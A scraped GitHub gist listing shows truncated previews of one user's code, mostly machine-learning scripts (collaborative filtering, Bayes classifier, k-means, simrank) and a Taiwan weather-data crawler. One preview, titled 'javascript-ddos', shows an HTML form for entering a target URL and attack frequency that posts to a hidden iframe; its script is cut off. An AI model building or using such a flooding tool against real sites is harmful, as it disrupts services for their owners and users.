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@wy36101299
wy36101299 / optimal design3.ipynb
Created April 26, 2016 05:52
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@wy36101299
wy36101299 / optimum design.ipynb
Created April 11, 2016 09:48
optimum design
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@wy36101299
wy36101299 / web-attack.html
Created May 21, 2015 05:17
javascript-ddos
<form name="attack" id="attack" target="attack_frame" action="" method="POST">
<p>攻擊之網址</p>
<input type="text" id="url" value＝""></br>
<p>攻擊之頻率</p>
<input type="text" id="frequent" value=""></br>
</br>
<input id="button" type="submit" onclick="myVar" value="Attack" />
</form>
<iframe name="attack_frame" id="attack_frame"></iframe>
<script type="text/javascript">
@wy36101299
wy36101299 / collaborative-filtering.py
Last active August 29, 2015 14:15
collaborative filtering
import numpy as np
# linalg:Linear algebra
# 日式 中式 美式 泰式 韓式
# ---------------------------
# sam 2 0 0 4 4
#john 5 5 5 3 3
# tim 2 4 2 1 2
#以下矩陣可看此 user 對 item 進行評分
#藉由協同過濾 猜出 sam對中式和美式的評價後，推薦sam吃什麼
@wy36101299
wy36101299 / Bayes-classify.py
Created January 25, 2015 07:50
Bayes-classify 貝氏分類器
import math
import numpy as np
# 關鍵字所屬分類 P P S S T T
# 新聞 分類 賓士 寶馬 籃球 路跑 手機 App
# ----------------------------------------------
# C63發表會 P 15 25 0 5 8 3
# BMW i8 P 35 40 1 3 3 2
# 林書豪 S 5 0 35 50 0 0
# 湖人隊 S 1 5 32 15 0 0
# Android 5.0 T 10 5 7 0 2 30
@wy36101299
wy36101299 / climate＿crawler.py
Last active November 7, 2018 07:34
台灣中央氣象局觀測資料爬取
# 產生data List , data List為兩年份
def date():
month31=[1,3,5,7,8,10,12]
month30=[4,6,9,11]
year2=['2013','2014']
nday31=range(1,32)
nday30=range(1,31)
nday28=range(1,29)
day10=['01','02','03','04','05','06','07','08','09']
month12=day10+['10','11','12']
@wy36101299
wy36101299 / Hierarchical.py
Last active August 29, 2015 14:12
Hierarchical algorithm
import math
import numpy as np
class point:
def __init__(self,vfeature,vlabel):
self.feature = vfeature
self.label = vlabel
class cluster:
def __init__(self,numbercluster):
@wy36101299
wy36101299 / k-means.py
Last active August 29, 2015 14:10
k-means
%pylab inline
import math
import random
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
class point:
def __init__(self,dimension,pmin,pmax):
self.feature = []
@wy36101299
wy36101299 / n_grid_produce.py
Last active August 29, 2015 14:09
directional n*n grid produce 有方向性n*n grid 產生器 負號(-)代表被有edge連結
import random
import numpy as np
def proEdge(g,l):
for t in l:
t = t.split(',')
i = int(t[0])
j = int(t[1])
if i > 0:
if g[i-1][j]==1:
@wy36101299
wy36101299 / simrank.py
Last active August 29, 2015 14:09
simrank use numpy
import numpy as np
# normalize 歸一化 sum(0)為每一點被連接點個數的陣列
def normalize(G):
s = G.sum(0)
return G/s
'''
simrank 公式:
S = C*(W^T ∙ S ∙ W)+(1-C) ∙ I
S 相似度陣列
C 阻尼係數